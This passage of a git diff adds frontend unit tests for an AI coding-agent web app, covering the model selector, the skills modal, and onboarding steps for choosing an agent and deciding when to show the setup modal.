+    expect(screen.getByTestId("selected-free-model-badge")).toHaveTextContent(
+      "Free",
+    );
+
+    await user.click(screen.getByLabelText("LLM$MODEL"));
+
+    // Three DB-flagged free models render a "Free" badge in the dropdown; the
+    // selected-model badge adds a fourth occurrence.
+    expect(screen.getAllByText("Free")).toHaveLength(4);
+    expect(screen.getByLabelText("LLM$MODEL")).toHaveValue("deepseek-v4-flash");
+
+    await user.click(screen.getByRole("option", { name: /deepseek-v4-flash/ }));
+
+    expect(screen.getByLabelText("LLM$MODEL")).toHaveValue("deepseek-v4-flash");
+    expect(screen.getByTestId("selected-free-model-badge")).toHaveTextContent(
+      "Free",
+    );
+  });
+});
diff --git a/__tests__/components/modals/settings/model-selector.test.tsx b/__tests__/components/modals/settings/model-selector.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..c1115de22c4c477ed88b4aabea0979ac4bb089e0
--- /dev/null
+++ b/__tests__/components/modals/settings/model-selector.test.tsx
@@ -0,0 +1,158 @@
+import { describe, it, expect, vi } from "vitest";
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { ModelSelector } from "#/components/shared/modals/settings/model-selector";
+import type {
+  LLMProvider,
+  LLMModel,
+} from "#/api/config-service/config-service.types";
+
+const mockProviders: LLMProvider[] = [
+  { name: "openai", verified: true },
+  { name: "azure", verified: false },
+  { name: "vertex_ai", verified: false },
+];
+
+const model = (partial: Partial<LLMModel> & Pick<LLMModel, "name">): LLMModel => ({
+  provider: null,
+  verified: false,
+  free: false,
+  default: false,
+  ...partial,
+});
+
+const mockModelsByProvider: Record<string, LLMModel[]> = {
+  openai: [
+    model({ provider: "openai", name: "gpt-4o", verified: true }),
+    model({ provider: "openai", name: "gpt-4o-mini", verified: true }),
+  ],
+  azure: [
+    model({ provider: "azure", name: "ada" }),
+    model({ provider: "azure", name: "gpt-35-turbo" }),
+  ],
+  vertex_ai: [
+    model({ provider: "vertex_ai", name: "chat-bison" }),
+    model({ provider: "vertex_ai", name: "chat-bison-32k" }),
+  ],
+};
+
+vi.mock("#/hooks/query/use-search-providers", () => ({
+  useSearchProviders: () => ({ data: mockProviders }),
+}));
+
+vi.mock("#/hooks/query/use-provider-models", () => ({
+  useProviderModels: (provider: string | null) => ({
+    data: provider ? (mockModelsByProvider[provider] ?? []) : [],
+  }),
+}));
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string) => {
+      const translations: Record<string, string> = {
+        LLM$PROVIDER: "LLM Provider",
+        LLM$MODEL: "LLM Model",
+        LLM$SELECT_PROVIDER_PLACEHOLDER: "Select a provider",
+        LLM$SELECT_MODEL_PLACEHOLDER: "Select a model",
+      };
+      return translations[key] || key;
+    },
+  }),
+}));
+
+function renderWithQuery(ui: React.ReactElement) {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return render(
+    <QueryClientProvider client={queryClient}>{ui}</QueryClientProvider>,
+  );
+}
+
+describe("ModelSelector", () => {
+  it("should display the provider selector", async () => {
+    const user = userEvent.setup();
+    renderWithQuery(<ModelSelector />);
+
+    const selector = screen.getByLabelText("LLM Provider");
+    expect(selector).toBeInTheDocument();
+
+    await user.click(selector);
+
+    expect(screen.getByText("OpenAI")).toBeInTheDocument();
+    expect(screen.getByText("Azure")).toBeInTheDocument();
+    expect(screen.getByText("VertexAI")).toBeInTheDocument();
+  });
+
+  it("should disable the model selector if the provider is not selected", async () => {
+    const user = userEvent.setup();
+    renderWithQuery(<ModelSelector />);
+
+    const modelSelector = screen.getByLabelText("LLM Model");
+    expect(modelSelector).toBeDisabled();
+
+    const providerSelector = screen.getByLabelText("LLM Provider");
+    await user.click(providerSelector);
+
+    const vertexAI = screen.getByText("VertexAI");
+    await user.click(vertexAI);
+
+    expect(modelSelector).not.toBeDisabled();
+  });
+
+  it("should display the model selector", async () => {
+    const user = userEvent.setup();
+    renderWithQuery(<ModelSelector />);
+
+    const providerSelector = screen.getByLabelText("LLM Provider");
+    await user.click(providerSelector);
+
+    const azureProvider = screen.getByText("Azure");
+    await user.click(azureProvider);
+
+    const modelSelector = screen.getByLabelText("LLM Model");
+    await user.click(modelSelector);
+
+    expect(screen.getByText("ada")).toBeInTheDocument();
+    expect(screen.getByText("gpt-35-turbo")).toBeInTheDocument();
+  });
+
+  it("should call onChange when the provider and model change", async () => {
+    const user = userEvent.setup();
+    const onChange = vi.fn();
+
+    renderWithQuery(<ModelSelector onChange={onChange} />);
+
+    const providerSelector = screen.getByLabelText("LLM Provider");
+    await user.click(providerSelector);
+    await user.click(screen.getByText("Azure"));
+
+    const modelSelector = screen.getByLabelText("LLM Model");
+    await user.click(modelSelector);
+    await user.click(screen.getByText("ada"));
+
+    expect(onChange).toHaveBeenNthCalledWith(1, "azure", null);
+    expect(onChange).toHaveBeenNthCalledWith(2, "azure", "ada");
+  });
+
+  it("should have a default value if passed", async () => {
+    renderWithQuery(<ModelSelector currentModel="azure/ada" />);
+
+    await waitFor(() => {
+      expect(screen.getByLabelText("LLM Provider")).toHaveValue("Azure");
+      expect(screen.getByLabelText("LLM Model")).toHaveValue("ada");
+    });
+  });
+
+  it("should not render placeholder text on the provider or model inputs", () => {
+    renderWithQuery(<ModelSelector />);
+
+    const providerInput = screen.getByLabelText("LLM Provider");
+    const modelInput = screen.getByLabelText("LLM Model");
+
+    expect(providerInput.getAttribute("placeholder") ?? "").toBe("");
+    expect(modelInput.getAttribute("placeholder") ?? "").toBe("");
+  });
+
+});
diff --git a/__tests__/components/modals/skills/skill-modal.test.tsx b/__tests__/components/modals/skills/skill-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..3661c71ce5c0f7879e19ed35c50b988f381b7337
--- /dev/null
+++ b/__tests__/components/modals/skills/skill-modal.test.tsx
@@ -0,0 +1,145 @@
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { SkillsModal } from "#/components/features/conversation-panel/skills-modal";
+import SkillsService from "#/api/skills-service";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers";
+
+describe("SkillsModal", () => {
+  const mockOnClose = vi.fn();
+
+  const defaultProps = {
+    onClose: mockOnClose,
+  };
+
+  const mockSkills = [
+    {
+      name: "Test Skill 1",
+      type: "repo" as const,
+      source: null,
+      triggers: ["test", "example"],
+      content: "This is test content for skill 1",
+    },
+    {
+      name: "Test Skill 2",
+      type: "knowledge" as const,
+      source: null,
+      triggers: ["help", "support"],
+      content: "This is test content for skill 2",
+    },
+  ];
+
+  beforeEach(() => {
+    vi.clearAllMocks();
+
+    vi.spyOn(SkillsService, "getSkills").mockResolvedValue(mockSkills);
+  });
+
+  afterEach(() => {
+    vi.restoreAllMocks();
+  });
+
+  describe("Enabled skills only", () => {
+    // The modal reports what the conversation actually has, so a catalog skill
+    // left off the allow-list must not be listed as available.
+    const CATALOG_ON = "add-skill";
+    const CATALOG_OFF = "add-javadoc";
+
+    const catalogSkill = (name: string) => ({
+      name,
+      type: "knowledge" as const,
+      source: "public",
+      triggers: [],
+      content: `content for ${name}`,
+    });
+
+    it("lists a catalog skill on the allow-list and omits one that is off", async () => {
+      vi.spyOn(SkillsService, "getSkills").mockResolvedValue([
+        catalogSkill(CATALOG_ON),
+        catalogSkill(CATALOG_OFF),
+      ]);
+      vi.spyOn(SettingsService, "getSettings").mockResolvedValue({
+        ...MOCK_DEFAULT_USER_SETTINGS,
+        enabled_skills: [CATALOG_ON],
+        disabled_skills: [],
+      });
+
+      renderWithProviders(<SkillsModal {...defaultProps} />);
+
+      expect(await screen.findByText(CATALOG_ON)).toBeInTheDocument();
+      expect(screen.queryByText(CATALOG_OFF)).not.toBeInTheDocument();
+    });
+  });
+
+  describe("Refresh Button Rendering", () => {
+    it("should render the refresh button as an icon-only control with accessible label", async () => {
+      renderWithProviders(<SkillsModal {...defaultProps} />);
+
+      const refreshButton = await screen.findByTestId("refresh-skills");
+      expect(refreshButton).toBeInTheDocument();
+      expect(refreshButton).toHaveAttribute("aria-label", "BUTTON$REFRESH");
+      expect(refreshButton).not.toHaveTextContent("BUTTON$REFRESH");
+    });
+  });
+
+  describe("Close Button", () => {
+    it("should render the close button and call onClose when clicked", async () => {
+      const user = userEvent.setup();
+      renderWithProviders(<SkillsModal {...defaultProps} />);
+
+      const closeButton = await screen.findByTestId("close-skills-modal");
+      expect(closeButton).toBeInTheDocument();
+
+      await user.click(closeButton);
+
+      expect(mockOnClose).toHaveBeenCalledTimes(1);
+    });
+  });
+
+  describe("Refresh Button Functionality", () => {
+    it("should call refetch when refresh button is clicked", async () => {
+      const user = userEvent.setup();
+      const refreshSpy = vi.spyOn(SkillsService, "getSkills");
+
+      renderWithProviders(<SkillsModal {...defaultProps} />);
+
+      const refreshButton = await screen.findByTestId("refresh-skills");
+
+      refreshSpy.mockClear();
+
+      await user.click(refreshButton);
+
+      expect(refreshSpy).toHaveBeenCalled();
+    });
+  });
+
+  describe("Skills Display", () => {
+    it("displays the skills catalog when opened with no active conversation (home page)", async () => {
+      // Arrange: the catalog fetch succeeds; no conversation exists in this
+      // render, so no runtime ever starts (the original infinite-spinner bug)
+      vi.spyOn(SkillsService, "getSkills").mockResolvedValue(mockSkills);
+
+      // Act
+      renderWithProviders(<SkillsModal {...defaultProps} />);
+
+      // Assert: the list renders instead of waiting for a runtime
+      expect(await screen.findByText("Test Skill 1")).toBeInTheDocument();
+      expect(screen.getByText("Test Skill 2")).toBeInTheDocument();
+    });
+
+    it("surfaces a fetch error message when the skills catalog cannot be loaded", async () => {
+      // Arrange: the catalog fetch fails (e.g. agent server unreachable)
+      vi.spyOn(SkillsService, "getSkills").mockRejectedValue(
+        new Error("network error"),
+      );
+
+      // Act
+      renderWithProviders(<SkillsModal {...defaultProps} />);
+
+      // Assert: a clear failure message is shown instead of an endless spinner
+      expect(await screen.findByText("COMMON$FETCH_ERROR")).toBeInTheDocument();
+    });
+  });
+});
diff --git a/__tests__/components/onboarding/choose-agent-step.test.tsx b/__tests__/components/onboarding/choose-agent-step.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..3da8b4e2bed6a7c4d1749749d9fded99bfd02356
--- /dev/null
+++ b/__tests__/components/onboarding/choose-agent-step.test.tsx
@@ -0,0 +1,285 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen, waitFor, within } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  AgentOptionIcon,
+  ChooseAgentStep,
+  type OnboardingAgentId,
+} from "#/components/features/onboarding/steps/choose-agent-step";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import {
+  ACP_PROVIDERS,
+  getAcpPreferredDefaultModel,
+} from "#/constants/acp-providers";
+import { I18nKey } from "#/i18n/declaration";
+
+function renderStep(initial: OnboardingAgentId = "openhands") {
+  const onSelect = vi.fn();
+  const onNext = vi.fn();
+  render(
+    <QueryClientProvider
+      client={
+        new QueryClient({ defaultOptions: { queries: { retry: false } } })
+      }
+    >
+      <ChooseAgentStep
+        selectedAgentId={initial}
+        onSelect={onSelect}
+        onNext={onNext}
+      />
+    </QueryClientProvider>,
+  );
+  return { onSelect, onNext };
+}
+
+describe("ChooseAgentStep", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true);
+  });
+
+  it("renders all four agent options with OpenHands marked selected by default", () => {
+    renderStep();
+
+    const openhands = screen.getByTestId("onboarding-agent-option-openhands");
+    const claude = screen.getByTestId("onboarding-agent-option-claude-code");
+    const codex = screen.getByTestId("onboarding-agent-option-codex");
+    const gemini = screen.getByTestId("onboarding-agent-option-gemini-cli");
+
+    expect(openhands).toHaveAttribute("aria-checked", "true");
+    // All four options are clickable — ACP is no longer "coming soon".
+    expect(openhands).not.toBeDisabled();
+    expect(claude).not.toBeDisabled();
+    expect(codex).not.toBeDisabled();
+    expect(gemini).not.toBeDisabled();
+
+    // Neither the legacy "coming soon" banner nor the per-option badges
+    // should render now that all four agent kinds work end-to-end.
+    expect(
+      screen.queryByTestId("onboarding-agent-coming-soon"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("onboarding-agent-badge-claude-code"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("onboarding-agent-badge-codex"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("renders the registry-selected Gemini icon on the Gemini CLI tile", () => {
+    renderStep();
+
+    const gemini = screen.getByTestId("onboarding-agent-option-gemini-cli");
+
+    expect(
+      within(gemini).getByTestId("onboarding-agent-icon-gemini"),
+    ).toBeInTheDocument();
+    expect(
+      within(gemini).queryByTestId("onboarding-agent-icon-codex"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("falls back to the generic CLI icon for a registry provider without an icon", () => {
+    ACP_PROVIDERS.push({
+      key: "future-cli",
+      display_name: "Future CLI",
+      default_command: ["future-cli", "--acp"],
+      description_key: I18nKey.ONBOARDING$AGENT_CODEX_DESCRIPTION,
+    });
+
+    try {
+      renderStep();
+
+      const future = screen.getByTestId("onboarding-agent-option-future-cli");
+
+      expect(
+        within(future).getByTestId("onboarding-agent-icon-cli-generic"),
+      ).toBeInTheDocument();
+      expect(
+        within(future).queryByTestId("onboarding-agent-icon-codex"),
+      ).not.toBeInTheDocument();
+    } finally {
+      ACP_PROVIDERS.pop();
+    }
+  });
+
+  it("falls back to the generic CLI icon for an unknown provider key", () => {
+    render(<AgentOptionIcon id="unknown-cli" muted={false} />);
+
+    expect(
+      screen.getByTestId("onboarding-agent-icon-cli-generic"),
+    ).toBeInTheDocument();
+  });
+
+  it("propagates click selections through onSelect for every option", async () => {
+    const { onSelect } = renderStep();
+    const user = userEvent.setup();
+
+    await user.click(screen.getByTestId("onboarding-agent-option-claude-code"));
+    expect(onSelect).toHaveBeenLastCalledWith("claude-code");
+
+    await user.click(screen.getByTestId("onboarding-agent-option-codex"));
+    expect(onSelect).toHaveBeenLastCalledWith("codex");
+
+    await user.click(screen.getByTestId("onboarding-agent-option-gemini-cli"));
+    expect(onSelect).toHaveBeenLastCalledWith("gemini-cli");
+
+    await user.click(screen.getByTestId("onboarding-agent-option-openhands"));
+    expect(onSelect).toHaveBeenLastCalledWith("openhands");
+  });
+
+  it("persists agent_kind:'openhands' and advances on Next when OpenHands is selected", async () => {
+    const save = vi.spyOn(SettingsService, "saveSettings");
+    const { onNext } = renderStep("openhands");
+    const user = userEvent.setup();
+
+    await user.click(screen.getByTestId("onboarding-agent-next"));
+
+    await waitFor(() => {
+      expect(save).toHaveBeenCalledTimes(1);
+      expect(onNext).toHaveBeenCalledTimes(1);
+    });
+    const call = save.mock.calls[0]?.[0] as {
+      agent_settings_diff?: Record<string, unknown>;
+    };
+    expect(call.agent_settings_diff).toEqual({ agent_kind: "openhands" });
+  });
+
+  it("persists an ACP diff matching the registry when Claude Code is selected", async () => {
+    const save = vi.spyOn(SettingsService, "saveSettings");
+    const { onNext } = renderStep("claude-code");
+    const user = userEvent.setup();
+
+    await user.click(screen.getByTestId("onboarding-agent-next"));
+
+    await waitFor(() => {
+      expect(save).toHaveBeenCalledTimes(1);
+      expect(onNext).toHaveBeenCalledTimes(1);
+    });
+    const call = save.mock.calls[0]?.[0] as {
+      agent_settings_diff?: Record<string, unknown>;
+    };
+    expect(call.agent_settings_diff).toEqual({
+      agent_kind: "acp",
+      acp_server: "claude-code",
+      // Default-command path: the backend resolves the command from its
+      // own registry, so we don't pin a stale command here.
+      acp_command: [],
+      // ``acp_args: []`` is reset on every save so an API-set
+      // ``acp_args`` can't survive and concatenate onto the spawn
+      // command at conversation-create time.
+      acp_args: [],
+      acp_model: "opus[1m]",
+    });
+  });
+
+  it.each([
+    ["codex", "codex"],
+    ["gemini-cli", "gemini-cli"],
+  ])("persists acp_server=%s for the matching tile", async (id, expected) => {
+    const save = vi.spyOn(SettingsService, "saveSettings");
+    renderStep(id as OnboardingAgentId);
+    const user = userEvent.setup();
+
+    await user.click(screen.getByTestId("onboarding-agent-next"));
+
+    await waitFor(() => {
+      expect(save).toHaveBeenCalledTimes(1);
+    });
+    const call = save.mock.calls[0]?.[0] as {
+      agent_settings_diff?: Record<string, unknown>;
+    };
+    expect(
+      (call.agent_settings_diff as Record<string, unknown>).acp_server,
+    ).toBe(expected);
+    // Canvas preselects the *preferred* default model — the registry default
+    // for Codex, but the Vertex-safe override (gemini-2.5-pro) for Gemini:
+    // gemini-cli re-resolves flash ids to its own default, which 404s on many
+    // Vertex projects (software-agent-sdk#3532).
+    expect(
+      (call.agent_settings_diff as Record<string, unknown>).acp_model,
+    ).toBe(getAcpPreferredDefaultModel(expected));
+  });
+
+  it("rebuilds the diff cleanly when the user flips between ACP providers", async () => {
+    // Bot-flagged: would a stale claude-code selection leak into a
+    // subsequent codex save? The helper rebuilds from the current
+    // selectedAgentId on each Next click, so no — but pin it.
+    const save = vi.spyOn(SettingsService, "saveSettings");
+    const { rerender } = render(
+      <QueryClientProvider
+        client={
+          new QueryClient({ defaultOptions: { queries: { retry: false } } })
+        }
+      >
+        <ChooseAgentStep
+          selectedAgentId="claude-code"
+          onSelect={vi.fn()}
+          onNext={vi.fn()}
+        />
+      </QueryClientProvider>,
+    );
+    const user = userEvent.setup();
+    await user.click(screen.getByTestId("onboarding-agent-next"));
+    await waitFor(() => {
+      expect(save).toHaveBeenCalledTimes(1);
+    });
+    expect(
+      (
+        save.mock.calls[0]?.[0] as {
+          agent_settings_diff?: Record<string, unknown>;
+        }
+      ).agent_settings_diff?.acp_server,
+    ).toBe("claude-code");
+
+    // Switch the *parent's* selection (the modal's setSelectedAgentId)
+    // and click Next again — the second save should carry codex, not
+    // a stale claude-code value.
+    save.mockClear();
+    rerender(
+      <QueryClientProvider
+        client={
+          new QueryClient({ defaultOptions: { queries: { retry: false } } })
+        }
+      >
+        <ChooseAgentStep
+          selectedAgentId="codex"
+          onSelect={vi.fn()}
+          onNext={vi.fn()}
+        />
+      </QueryClientProvider>,
+    );
+    await user.click(screen.getByTestId("onboarding-agent-next"));
+    await waitFor(() => {
+      expect(save).toHaveBeenCalledTimes(1);
+    });
+    expect(
+      (
+        save.mock.calls[0]?.[0] as {
+          agent_settings_diff?: Record<string, unknown>;
+        }
+      ).agent_settings_diff?.acp_server,
+    ).toBe("codex");
+  });
+
+  it("does not advance when the save mutation fails", async () => {
+    vi.spyOn(SettingsService, "saveSettings").mockRejectedValueOnce(
+      new Error("boom"),
+    );
+    const { onNext } = renderStep("claude-code");
+    const user = userEvent.setup();
+
+    await user.click(screen.getByTestId("onboarding-agent-next"));
+
+    // saveSettings rejects → onSuccess is not called → onNext stays untouched.
+    await waitFor(
+      () => {
+        expect(SettingsService.saveSettings).toHaveBeenCalledTimes(1);
+      },
+      { timeout: 1000 },
+    );
+    expect(onNext).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/components/onboarding/onboarding-host.test.tsx b/__tests__/components/onboarding/onboarding-host.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ffd627958292a4494194a1ceac240fab6ea7bab1
--- /dev/null
+++ b/__tests__/components/onboarding/onboarding-host.test.tsx
@@ -0,0 +1,309 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen, waitFor } from "@testing-library/react";
+import { MemoryRouter } from "react-router";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+
+import { OnboardingHost } from "#/components/features/onboarding/onboarding-host";
+import { ONBOARDING_COMPLETED_STORAGE_KEY } from "#/components/features/onboarding/use-onboarding-completion";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import { DEFAULT_SETTINGS } from "#/services/settings";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { NavigationProvider } from "#/context/navigation-context";
+
+// We don't need to exercise the modal's internals here; just verify
+// whether OnboardingHost mounts it at all.
+vi.mock("#/components/features/onboarding/onboarding-modal", () => ({
+  OnboardingModal: () => (
+    <div data-testid="onboarding-modal-stub">onboarding modal</div>
+  ),
+}));
+
+function renderHost() {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  const navigationValue = {
+    currentPath: "/",
+    conversationId: null,
+    isNavigating: false,
+    navigate: vi.fn(),
+  };
+  return render(
+    <QueryClientProvider client={queryClient}>
+      <MemoryRouter initialEntries={["/"]}>
+        <ActiveBackendProvider>
+          <NavigationProvider value={navigationValue}>
+            <OnboardingHost />
+          </NavigationProvider>
+        </ActiveBackendProvider>
+      </MemoryRouter>
+    </QueryClientProvider>,
+  );
+}
+
+function seedCloudBackend() {
+  const backend = {
+    id: "cloud-backend",
+    name: "OpenHands Cloud",
+    host: "https://app.all-hands.dev",
+    apiKey: "cloud-session-key",
+    kind: "cloud" as const,
+  };
+  setRegisteredBackends([backend]);
+  setActiveSelection({ backendId: backend.id, orgId: null });
+  return backend;
+}
+
+function seedUserAddedLocalBackend() {
+  // A Local backend the user explicitly added via "Add Backend" — its id
+  // is NOT the launcher-seeded SEEDED_DEFAULT_BACKEND_ID, so the
+  // "pre-configured server" skip is allowed to fire for it.
+  const backend = {
+    id: "user-added-local",
+    name: "My Agent Server",
+    host: "http://localhost:9000",
+    apiKey: "session-key",
+    kind: "local" as const,
+  };
+  setRegisteredBackends([backend]);
+  setActiveSelection({ backendId: backend.id, orgId: null });
+  return backend;
+}
+
+beforeEach(() => {
+  window.localStorage.clear();
+  vi.stubEnv("VITE_BACKEND_BASE_URL", "http://localhost:9000");
+  vi.stubEnv("VITE_SESSION_API_KEY", "session-key");
+  __resetActiveStoreForTests();
+  vi.clearAllMocks();
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  vi.unstubAllEnvs();
+  __resetActiveStoreForTests();
+});
+
+describe("OnboardingHost", () => {
+  it("renders the onboarding modal for a fresh install with no configured LLM", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue({
+      ...DEFAULT_SETTINGS,
+      llm_api_key_set: false,
+      agent_settings: {
+        ...DEFAULT_SETTINGS.agent_settings,
+        llm: { model: "" },
+      },
+    });
+
+    renderHost();
+
+    expect(
+      await screen.findByTestId("onboarding-modal-stub"),
+    ).toBeInTheDocument();
+  });
+
+  it("skips the modal when the active Cloud backend has a configured LLM", async () => {
+    seedCloudBackend();
+    const getSettings = vi
+      .spyOn(SettingsService, "getSettings")
+      .mockResolvedValue({
+        ...DEFAULT_SETTINGS,
+        llm_api_key_set: true,
+        agent_settings: {
+          ...DEFAULT_SETTINGS.agent_settings,
+          llm: { model: "anthropic/claude-sonnet-4-5", api_key: "stored" },
+        },
+      });
+
+    renderHost();
+
+    await waitFor(() => {
+      expect(getSettings).toHaveBeenCalledOnce();
+      expect(
+        screen.queryByTestId("onboarding-modal-stub"),
+      ).not.toBeInTheDocument();
+    });
+    expect(
+      window.localStorage.getItem(ONBOARDING_COMPLETED_STORAGE_KEY),
+    ).toBeNull();
+  });
+
+  it("skips the modal for a configured Cloud backend that does not match the locked host", async () => {
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://other-cloud.example.com");
+    seedCloudBackend();
+    const getSettings = vi
+      .spyOn(SettingsService, "getSettings")
+      .mockResolvedValue({
+        ...DEFAULT_SETTINGS,
+        llm_api_key_set: true,
+        agent_settings: {
+          ...DEFAULT_SETTINGS.agent_settings,
+          llm: { model: "anthropic/claude-sonnet-4-5", api_key: "stored" },
+        },
+      });
+
+    renderHost();
+
+    await waitFor(() => {
+      expect(getSettings).toHaveBeenCalledOnce();
+      expect(
+        screen.queryByTestId("onboarding-modal-stub"),
+      ).not.toBeInTheDocument();
+    });
+    expect(
+      window.localStorage.getItem(ONBOARDING_COMPLETED_STORAGE_KEY),
+    ).toBeNull();
+  });
+
+  it("skips the modal when the active Cloud backend uses subscription auth", async () => {
+    seedCloudBackend();
+    const getSettings = vi
+      .spyOn(SettingsService, "getSettings")
+      .mockResolvedValue({
+        ...DEFAULT_SETTINGS,
+        llm_api_key_set: false,
+        agent_settings: {
+          ...DEFAULT_SETTINGS.agent_settings,
+          llm: { model: "openai/gpt-5.5", auth_type: "subscription" },
+        },
+      });
+
+    renderHost();
+
+    await waitFor(() => {
+      expect(getSettings).toHaveBeenCalledOnce();
+      expect(
+        screen.queryByTestId("onboarding-modal-stub"),
+      ).not.toBeInTheDocument();
+    });
+    expect(
+      window.localStorage.getItem(ONBOARDING_COMPLETED_STORAGE_KEY),
+    ).toBeNull();
+  });
+
+  it("still shows the modal for a Cloud user when an API key is set but no model is configured", async () => {
+    seedCloudBackend();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue({
+      ...DEFAULT_SETTINGS,
+      llm_api_key_set: true,
+      agent_settings: {
+        ...DEFAULT_SETTINGS.agent_settings,
+        llm: { model: "" },
+      },
+    });
+
+    renderHost();
+
+    expect(
+      await screen.findByTestId("onboarding-modal-stub"),
+    ).toBeInTheDocument();
+    expect(
+      window.localStorage.getItem(ONBOARDING_COMPLETED_STORAGE_KEY),
+    ).toBeNull();
+  });
+
+  it("skips the modal for a user-added Local backend that already has an LLM configured", async () => {
+    seedUserAddedLocalBackend();
+    const getSettings = vi
+      .spyOn(SettingsService, "getSettings")
+      .mockResolvedValue({
+        ...DEFAULT_SETTINGS,
+        llm_api_key_set: true,
+        agent_settings: {
+          ...DEFAULT_SETTINGS.agent_settings,
+          llm: { model: "openai/zai-org/GLM-5.2", api_key: "**********" },
+        },
+      });
+
+    renderHost();
+
+    await waitFor(() => {
+      expect(getSettings).toHaveBeenCalledOnce();
+      expect(
+        screen.queryByTestId("onboarding-modal-stub"),
+      ).not.toBeInTheDocument();
+    });
+    expect(
+      window.localStorage.getItem(ONBOARDING_COMPLETED_STORAGE_KEY),
+    ).toBeNull();
+  });
+
+  it("still shows the modal for a user-added Local backend with a model but no API key", async () => {
+    seedUserAddedLocalBackend();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue({
+      ...DEFAULT_SETTINGS,
+      llm_api_key_set: false,
+      agent_settings: {
+        ...DEFAULT_SETTINGS.agent_settings,
+        llm: { model: "openai/zai-org/GLM-5.2", api_key: null },
+      },
+    });
+
+    renderHost();
+
+    expect(
+      await screen.findByTestId("onboarding-modal-stub"),
+    ).toBeInTheDocument();
+    expect(
+      window.localStorage.getItem(ONBOARDING_COMPLETED_STORAGE_KEY),
+    ).toBeNull();
+  });
+
+  it("still shows the modal for a launcher-seeded default-local backend even when the agent-server reports a configured LLM", async () => {
+    // Regression for the mock-LLM E2E fresh-install / happy-path tests:
+    // the shared agent-server retains a previously-configured LLM across
+    // browser sessions, so keying first-run onboarding off the server's
+    // LLM state would suppress the modal for a genuinely fresh browser
+    // install. The launcher-seeded default-local backend (id
+    // SEEDED_DEFAULT_BACKEND_ID) must not trigger the skip — the
+    // `openhands-onboarded` localStorage flag stays the source of truth
+    // for first-run detection there.
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue({
+      ...DEFAULT_SETTINGS,
+      llm_api_key_is_set: true,
+      agent_settings: {
+        ...DEFAULT_SETTINGS.agent_settings,
+        llm: { model: "openai/zai-org/GLM-5.2", api_key: "**********" },
+      },
+    });
+
+    renderHost();
+
+    expect(
+      await screen.findByTestId("onboarding-modal-stub"),
+    ).toBeInTheDocument();
+    expect(
+      window.localStorage.getItem(ONBOARDING_COMPLETED_STORAGE_KEY),
+    ).toBeNull();
+  });
+
+  it("still shows the modal for a fresh Local agent-server with no API key set", async () => {
+    // The default agent-server schema returns a model name (e.g.
+    // "gpt-5.5") but llm_api_key_is_set === false until the user
+    // configures one. The modal must keep running the LLM step.
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue({
+      ...DEFAULT_SETTINGS,
+      llm_api_key_is_set: false,
+      llm_api_key_set: false,
+      agent_settings: {
+        ...DEFAULT_SETTINGS.agent_settings,
+        llm: { model: "gpt-5.5", api_key: null },
+      },
+    });
+
+    renderHost();
+
+    expect(
+      await screen.findByTestId("onboarding-modal-stub"),
+    ).toBeInTheDocument();
+    expect(
+      window.localStorage.getItem(ONBOARDING_COMPLETED_STORAGE_KEY),
+    ).toBeNull();
+  });
+});
diff --git a/__tests__/components/onboarding/onboarding-modal.test.tsx b/__tests__/components/onboarding/onboarding-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..a0fcdd513c2218b2df71795d74a3e21fbdf3b023
--- /dev/null
+++ b/__tests__/components/onboarding/onboarding-modal.test.tsx
@@ -0,0 +1,1263 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen, waitFor, within } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import type { MockInstance } from "vitest";
+
+import {
+  __resetActiveStoreForTests,
+  getActiveSelection,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { OnboardingModal } from "#/components/features/onboarding/onboarding-modal";
+import { ONBOARDING_DEFAULT_LLM_MODEL } from "#/components/features/onboarding/steps/setup-llm-step";
+import { SIDEBAR_ONBOARDING_CHECKLIST_DISMISSED_STORAGE_KEY } from "#/components/features/sidebar/sidebar-onboarding-checklist.constants";
+import { NavigationProvider } from "#/context/navigation-context";
+import SettingsService from "#/api/settings-service/settings-service.api";
